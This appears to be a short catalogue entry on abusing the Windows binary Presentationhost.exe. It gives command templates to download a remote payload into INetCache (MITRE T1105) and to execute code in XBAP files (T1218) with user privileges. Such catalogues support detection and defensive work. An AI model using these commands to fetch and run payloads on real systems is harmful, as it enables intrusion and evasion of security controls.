Presentationhost.exe

File is used for executing Browser applications

Download

Downloads payload from remote server

Presentationhost.exe {REMOTEURL}

It will download a remote payload and place it in INetCache. — MITRE: T1105 — Privileges: User

Execute

Execute code within XBAP files

Presentationhost.exe {PATH_ABSOLUTE:.xbap}

Executes the target XAML Browser Application (XBAP) file — MITRE: T1218 — Privileges: User